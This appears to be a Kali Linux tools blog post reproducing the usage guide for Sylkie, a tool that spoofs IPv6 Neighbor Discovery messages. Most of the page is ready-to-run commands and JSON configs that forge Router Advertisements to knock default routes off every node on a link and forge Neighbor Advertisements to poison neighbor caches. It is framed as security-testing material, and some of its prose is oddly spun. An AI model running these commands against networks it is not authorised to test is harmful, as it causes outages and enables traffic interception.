Categories: Kali Linux

Sylkie – IPv6 Address Spoofing With The Neighbor Discovery Protocol

Sylkie is a command line device and library for testing systems for normal address spoofing security vulnerabilities in IPv6 systems utilizing the Neighbor Discovery Protocol. This venture is still in the early periods of advancement. On the off chance that you keep running into any issues, please consider presenting an issue. It presently just keeps running on Linux.

Build Sylkie

Get the code and compile it!

# Get the code
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie

# Compile the code
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install

Also Read FireMaster – The Firefox Master Password Recovery Tool

Basic usage

The following describes the basic usage of sylkie. Run sylkie -h or sylkie <subcommand> -h for more details or check out Advanced Usage for more examples.

Note: sylkie uses raw sockets to send the forged advertisements. As a result, the executable must either have the setuid bit set, or it must be run as root.

DoS (Router Advert)

The basic usage of the router-advert command is listed below. This command will send a Router Advertisement message to the given ip or the all nodes multicast addres causing the targeted nodes to remove <router-ip>/<prefix> from their list of default routes.

sylkie ra -i <interface> \
--target-mac <mac of router> \
--router-ip <ip of router> \
--prefix <router prefix> \
--timeout <time between adverts> \
--repeat <number of times to send the request>

Router Advert Examples

sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10

This would send a “forged” Router Advertisement to the link local scope all-nodes address ff02::1 causing all of the nodes to remove fe80::b95b:ee1:cafe:9720/64 (link-layer address 52:54:00:e3:f4:06) from their list of default routes.

Address spoofing (Neighbor Advert)

The basic usage of the sylkie neighbor advert command is listed below. This command will send a forged Neighbor Advertisement message to the given ip.

sylkie na -i <interface> \
--dst-mac <dest hw addr> \
--src-ip <source ip> \
--dst-ip <dest ip address> \
--target-ip <target ip address> \
--target-mac <target mac address> \
--timeout <time betweeen adverts> \
--repeat <number of times to send the request>

Neighbor Advert examples

sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3

This would send a “forged” Neighbor Advertisement message to dst-ip (fe80::b95b:ee1:cafe:9720), causing the hardware address in the neighbor cache for the target-ip (fe80::61ad:fda3:3032:f6f4) to be updated to the target-mac (52:54:00:c2:a7:7c).

JSON

The subcommand (router-advert, neighbor-advert) is a key whos value is an array of objects with the keys and values being the corresponding option and value. To run the command, pass the path to the json file as the argument to the -j option.

Example

To run the router-advert example provided above from json, first create a file with the following.

{
    "router-advert": [
        {
            "interface": "ens3",
            "target-mac": "52:54:00:e3:f4:06",
            "router-ip": "fe80::b95b:ee1:cafe:9720",
            "prefix": 64,
            "repeat": -1,
            "timeout": 10
        }
    ]
}

After creating the file, start sending adverts with the following.

sylkie -j /path/to/json

Plaintext

Each line of the file must be exactly what you would provide via the command line minus the sylkie command.

Example

To run the neighbor-advert example provided above from json, first create a file with the following.

na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3

After creating the file, start sending the adverts with

sylkie -x /path/to/file

R K

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